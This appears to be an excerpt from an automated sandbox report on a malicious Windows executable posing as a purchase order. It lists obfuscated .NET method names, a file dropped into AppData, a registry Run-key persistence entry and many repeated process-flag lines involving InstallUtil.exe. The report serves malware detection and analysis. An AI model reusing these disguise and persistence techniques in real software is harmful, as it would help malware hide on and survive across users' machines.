Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 6_2_064A6E88 push E8000001h; iretd	6_2_064A6E8D
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 8_2_05A5397B pushad ; retf	8_2_05A53981
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 8_2_05A5EA09 push esi; iretd	8_2_05A5EAD1
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 8_2_05A62EA7 push esp; retf	8_2_05A62EA8
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 8_2_05A82020 pushfd ; retf	8_2_05A82021
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 8_2_05BFC566 push 2805BFC1h; ret	8_2_05BFC565
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 8_2_05BFC54E push 2805BFC1h; ret	8_2_05BFC565
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 8_2_05F06E88 push E8000001h; iretd	8_2_05F06E8D
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Code function: 8_2_05F0160C push ds; ret	8_2_05F01613

Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.5b40000.10.raw.unpack, PWap1U04AlPoyGQsDeZ.cs	High entropy of concatenated method names: 'RtlInitUnicodeString', 'LdrLoadDll', 'RtlZeroMemory', 'NtQueryInformationProcess', 'bPo0ugy90I', 'NtProtectVirtualMemory', 'Ur7ro9OcsXC2RKBJi6c', 'K88BXWO10qKYUf3yq9U', 'mOF381OOeMyqMOZqDlZ', 'Kc3QtBOjgxeAxKTkvUc'
Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.5b40000.10.raw.unpack, ynNqgx095QFM02puHhI.cs	High entropy of concatenated method names: 'gKr0j3r8M0', 'fTNRn6OlcWBZXoMcX3S', 'KnnTkaORWx7YQcKMFaH', 'avvix6OhQ4aQROyhZJJ', 'LHCpVhO7KjGwpBxcfPe', 'wsF3USOGjPhKkYTxShE', 'qccfNCOHcIOd44YGvwY', 'XUT5bqOB6RltAcpwAxP'
Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.4013e10.3.raw.unpack, YbtbwRfTA7fyO09OhuA.cs	High entropy of concatenated method names: 'MM6fQvNiqx', 'beYf6c700U', 'zRiUXA388P', 'mdEKmW8M753xnIot0JQ', 'qyCYWP8ZJApkaPF4X5e', 'qahk258pUCNocErde47', 'euPjIH82XPN1uTXb3dj', 'xaqFus8sEkk3acYEBCF', 't01S0r89BMGK7B6U39N'
Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.4013e10.3.raw.unpack, AssemblyLoader.cs	High entropy of concatenated method names: 'CultureToString', 'ReadExistingAssembly', 'CopyTo', 'LoadStream', 'LoadStream', 'ReadStream', 'ReadFromEmbeddedResources', 'ResolveAssembly', 'Attach', 'mxwpxmDFIAHainh6GA6'
Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.4013e10.3.raw.unpack, YQDstTf9femEJ9x9cNt.cs	High entropy of concatenated method names: 'a3FfroEFHR', 'fm1fPXaYKI', 'nlg36PjX8SADrhyCrrJ', 'Jlicyrj3SgjaQ6MsmG2', 'scVih3jJu1KNV84mZiQ', 'dEBO6fjdtZqbpMIZvgY', 'jtLHmijyHh4oBNK1Au5', 'QD74pnjkDK0KCIH48Yu', 'RoHDAvj0fbqNhjVAWXc', 'LQCFaCjV67hgAQpfBip'
Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.4013e10.3.raw.unpack, rrhUpcofcEqO10LIFK.cs	High entropy of concatenated method names: 'zj1KCsPJs', 'Qd1x3vwjK', 'BEV4wsT4H', 'Sg0LvolH2', 'BkiNru0C7', 'j4PrOZSlmkkqllWRIDt', 'SR1p2FSRfDoelEtMETM', 'ea69E4ShyXwSgbD3uLc', 'QRvm8vS5COLOWwSPg0V', 'qHWFNdSmPqPNnWxKddW'
Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.4013e10.3.raw.unpack, TG5YQkE1UNMCogsZgYE.cs	High entropy of concatenated method names: 'GSWEtp7aeF', 'PGuEY7yuGy', 'xOVEAfQhFQ', 'OiYE7aTlTJ', 'WukEGjw9H6', 'yJHElZbs8Y', 'odyEREiGnH', 'C5uEhRYcVK', 'E8qE5uSfiL', 'IjEEmFErGF'
Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.4013e10.3.raw.unpack, fcjVvPf1n2QJ60Xrj71.cs	High entropy of concatenated method names: 'Ps3fcQlM2i', 'RpjY0SjPB0ycHFjC7ao', 'bAttrBj1daLd81piuZG', 'AKBJ6rjO8K92Jsnu4mT', 'jep1XijcRKeRcf0F5Zd', 'gvdEbsjjgy2YjoZGn4P', 'BjLwWTj8UC1a5wVekcK', 'q1JPqYjDFRbyfDKefME', 'bdj1gFjS1Hf2sv01NDg', 'GD9T4ijrr3wgijvjfMN'
Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.4013e10.3.raw.unpack, Ht0fUkf5mEwcRHByegY.cs	High entropy of concatenated method names: 'GTBfgWRJwg', 'cWXfwnjC6I', 'OQZfCMQAAp', 'B5fXOy8KCb07EInjllC', 'QKxvDW8xTZHuSmBDZC2', 'IwAT5d8eoCxHoe77l3b', 'yYTeXV8NkNxqxijLgDo', 'IWxWMn8WMH1qDtCVKxy', 'G4s2Sh84ieYw0u8E3Qu', 'Wg0WIb8LC5T5bujnxGC'
Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.4013e10.3.raw.unpack, mdncvaUULXNL3o2WjuR.cs	High entropy of concatenated method names: 'pTaUEhDHNk', 'cXHUowl57u', 'zZcdVo87nLfNWb8ojDW', 'hBUQNq8GfeywZsEm1U1', 'PF6Xgt8lt7eIa2eScPo', 'CRCZvN8Yn2OCmEXBdb0', 'CQfDgv8AwwbqKjs38dx', 'tHhfYH8RMjoDlyf76ey', 'puHwUg8hfY29eOO2Ll2', 'GFX0Z585ejwynQC9wuO'
Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.4013e10.3.raw.unpack, brEOsqUJCHwuJec7GGu.cs	High entropy of concatenated method names: 'ajIUygUMXK', 'jbS3Rh81FM59BPxPxc0', 'uwPRjw8OiAMYHAKrwAD', 'KZA8sY8ct1Dx2pxL9RX', 'K90m5L8jRWkiYHTEwGy', 'j5Zwd388gq8QKrffo8R', 'qT3D1m8Dnl3fx1UP8vh', 'hsqSZ28rrtkycpfyHNG', 'Wt2bQR8PMyVXbP9m3L7'
Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.4013e10.3.raw.unpack, KQ0O62flygUOwwEtWBN.cs	High entropy of concatenated method names: 'JsUfhYJ7tV', 'bHqAcc8k7KcJCWxYsV3', 'da9lpD80XFTWWXKQUqC', 'dTj9U18VyOSPQJA4s4m', 'C1FhCb8imdb2qvTlLqC', 'a1Rdri8fPadUDfLWmlL', 'v7UGmk8U9Sw02F4ZRHe', 'R4fMpo8bwXNE0Yl3Ync', 'NdytHU8EJ76cjw3jAI2', 'R7E4Ud8dYxwyY4AcHWG'
Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.4013e10.3.raw.unpack, PWap1U04AlPoyGQsDeZ.cs	High entropy of concatenated method names: 'RtlInitUnicodeString', 'LdrLoadDll', 'RtlZeroMemory', 'NtQueryInformationProcess', 'bPo0ugy90I', 'NtProtectVirtualMemory', 'Ur7ro9OcsXC2RKBJi6c', 'K88BXWO10qKYUf3yq9U', 'mOF381OOeMyqMOZqDlZ', 'Kc3QtBOjgxeAxKTkvUc'
Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.4013e10.3.raw.unpack, ynNqgx095QFM02puHhI.cs	High entropy of concatenated method names: 'gKr0j3r8M0', 'fTNRn6OlcWBZXoMcX3S', 'KnnTkaORWx7YQcKMFaH', 'avvix6OhQ4aQROyhZJJ', 'LHCpVhO7KjGwpBxcfPe', 'wsF3USOGjPhKkYTxShE', 'qccfNCOHcIOd44YGvwY', 'XUT5bqOB6RltAcpwAxP'
Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.4013e10.3.raw.unpack, gBpZs3Ue6w5ef2oUcN3.cs	High entropy of concatenated method names: 'NSxUKr8nOT', 'bC2UqIDdbCWS1NLs6q6', 'Y4r9sQDydM3kaejRXnG', 'Tx16MODkPIsGBo3nl5H', 'nqy5ggD0RZPkbuiM1kv', 'vhCTmdDVPdmvXl4B9Kk', 'VIRh9nDiRuiqCMqb8Ud', 'CrOEGEDfPmTQjiraTvl', 'd6hf1FD3Jva8yKo8Kih', 'B25HSODJVE6FxgbSeiL'
Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.4013e10.3.raw.unpack, T8ZYbHUxb33ReWabDWG.cs	High entropy of concatenated method names: 'sh3U4s9VPx', 'lrmULF1ioh', 'WDSyuSDoVpYQHCIf2dw', 'rvM5UpDeMihgIkPD9fn', 'iaiU2pDNvl9Ns9rRYOe', 'XK9pMVDbj35T6mWoAhr', 'ryvcrODE5xsAyZ7KTxC', 'pRbwJ0DKrNpa56WFxIN', 'OcXVZdDxN1wpUPvrV0P', 'V4QSjZDWZ0pBukBMsqT'
Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.4013e10.3.raw.unpack, NCbdhHJWLiR24qNMBX0.cs	High entropy of concatenated method names: 'pygJLBurnm', 'Y8b83drcn0JhRDSVjuw', 'uV54GTrjdNC1HP4D3Ui', 'jHDFNrr8dOQHAha41Cu', 'R6gB8brDVDIxXfhOa9K', 'hLR0LkrqOFS4ao5tLuI', 'C4Ahlgrvo2XaJAaOf9k', 'xpPJVSrFEpVZNGfDmbq', 'EdZaFUrHHG53uJ6yHDJ', 'f3xHFrrBoJTOqIK5BMa'
Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.4013e10.3.raw.unpack, ePs1mBkcEyfJ8TAtT2T.cs	High entropy of concatenated method names: 'xQLk8S7L6n', 'PemkDNxYI0', 'i5QkqMcLug', 'cH31GD1OCMOChQDkuDw', 'fcp2Sa1cCUyl1fVlydu', 'suPsFP1jXaPAfRwnKIO', 'xStrDw18yVr42LIODZ8', 'IQkCop1POtsVyDnMpSI', 'yZEynD11IhcunvtC2Fr', 'ftsidO1DSZ9fLD2ONt5'
Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.4013e10.3.raw.unpack, Q2sg51Ukkc0H5RkMMtZ.cs	High entropy of concatenated method names: 'iVbUV44BKe', 'jTXUiRJJ1Q', 'IwIFHG8HYXp8sxDQ6C7', 'tku0A08B6Nii21IwVwC', 'LrjqNE8vUCHmerXR1T2', 'h1UuBj8FS9ls6XUDfxd', 'PZERw48nBSKIol3LZdi'
Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.4013e10.3.raw.unpack, V7s2ZpEgNJRPQQ0SkgY.cs	High entropy of concatenated method names: 'rvC4W9XpvL', 'x8r44T7tGc', 'iYn4L3quDR', 'PLH4uMthJQ', 'PFm4pUapL5', 'Evs42Hg3De', 'PcX4M2uBPH', 'nDMoxXoeW9', 'WLl4Z7Joa4', 'qjY4slZGwk'
Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.4013e10.3.raw.unpack, atSpPjfnFXMaVbP3paE.cs	High entropy of concatenated method names: 'upVfYHBjxL', 'syI0ZljRONTFox15fX6', 'EphTJwjhFR2MefG6Vd7', 'axlKavj5YFOFKY4dCIi', 'PXZhn8jmSNlo3GKEnGa', 'bBUgAIjgZiB1OcUTfnD', 'drHNAWjCDnFygMGTKEw', 'hJjfndjwENWGouWASYj', 'CXNZacjIoy5UI9RXOko', 'T9H94SjTMBMbrkQvRm7'
Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.4013e10.3.raw.unpack, F8VZVLUPkb76WPMZ4nC.cs	High entropy of concatenated method names: 'CnYHFBqLEAQf6lViakI', 'WYvgF2quU5Ard3fHsl8', 'sSxEy08lhp', 'wFVfUSqZgpbcJPM3jTV', 'gai3nFqsJjK5Rrx9sHF', 'aSRnkiq9dcvFBwi98k7', 'p33Dr5qSNDDK4cS4MaB', 'MSN0FmqrZpcEI03qPVH', 'hVMEENqPspVr7Y1x15G', 'ikdRQAq1NjkLqw8vs1M'
Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.4013e10.3.raw.unpack, jyHLig03GbeGTp1tgyp.cs	High entropy of concatenated method names: 'Lm80dQAohg', 'wpn0kqBnLi', 'LhE0VxpIfE', 'MSf0fLCjte', 'pR00UK0pr9', 'M8n0bw7CZV', 'wLH0EyybvB', 'wA50oNDWlU', 'M0N0eju0LM', 'ATt0NpTmc5'
Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.4013e10.3.raw.unpack, QaLSAjfMxyDIYodqKd0.cs	High entropy of concatenated method names: 'lTKfsQKndC', 'svMdMkcIRUEaDh0x3t3', 'cc6CPucTlOYfcjpRR3h', 'I8J4GNcaV6TZATiTQtg', 'lZlBj4cQf9ZMi1kak2F', 'jF53gpc6KCo0QmPiyT8', 'JDkohVcCdpBDPO44NQY', 'IjIcUEcwBiMbqGiBr81'
Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.4013e10.3.raw.unpack, iVay2ZksSq6AL3cYeAG.cs	High entropy of concatenated method names: 'mhrkSbQUKr', 'zFlkrb8PTP', 'Uh3kPXyQgq', 'Kxfk1ml5FX', 'cuekODgfkw', 'fpGtTMPIE4ECYD37aS3', 'AGZZa2PTnHGeUgJqH7x', 'eBPyGhPay4078Hcm2WV', 'cOj8M0PQjQGfee96o2v', 'FJYEMKP6yXZIRs8JxWU'
Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.4013e10.3.raw.unpack, yI15OhMwaKnD9LWXIu.cs	High entropy of concatenated method names: 'prXsLq1dZ', 'ANZ97fVx4', 'vlXrRpZSB', 'p6lSvWo9v', 'Tc5wg2SaneLfqmBQS0g', 'EGdYsPSQvbATEmqS4XN', 'gUj3tfS6qeApEOn6KGa', 'vBikmRSz0tOA55CsCJc', 'NXjUTRrXX7IWcnpGXlx', 'nryRTTSID18easuyLxV'
Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.4013e10.3.raw.unpack, aBeQQmfjm2CxkGbWUFW.cs	High entropy of concatenated method names: 'sx6fvoqmZi', 'WsgfFhqnuq', 'FpAfDvX06n', 'AknfqBvL25', 'Xtvp6pjHddesL43Kofk', 'tmnwOWjBNncgk8J7Pap', 'PMqeEQjn7rVuuNJsfO7', 'R50QCFjtJIWwadabkbE', 'Wuueb8jYWvYu3IDLNPd', 'PP6jNyjAXhqdmYaQYIY'
Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.4013e10.3.raw.unpack, pD0QF3Us5tqm4WgmIGm.cs	High entropy of concatenated method names: 'Hs0YcSgjy1', 'wHcM3RqUedZjFLTZwBg', 'popKKmqbiDnbnWrBRj3', 'gaQb6OqEJEp327ecOMN', 'nagctPqoXL9jQLRWHEY', 'Ophlc1qiiXatUoQTpR2', 'NRN4u4qf5nhb3Kk8dJT', 'BqWK3wqerCkNsCaRKOt', 'MK9yLuqNfW5ZlpHs3lG'

Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe

File created: C:\Users\user\AppData\Roaming\Xpnzea.exe

Jump to dropped file

Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Xpnzea			Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Xpnzea			Jump to behavior

Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
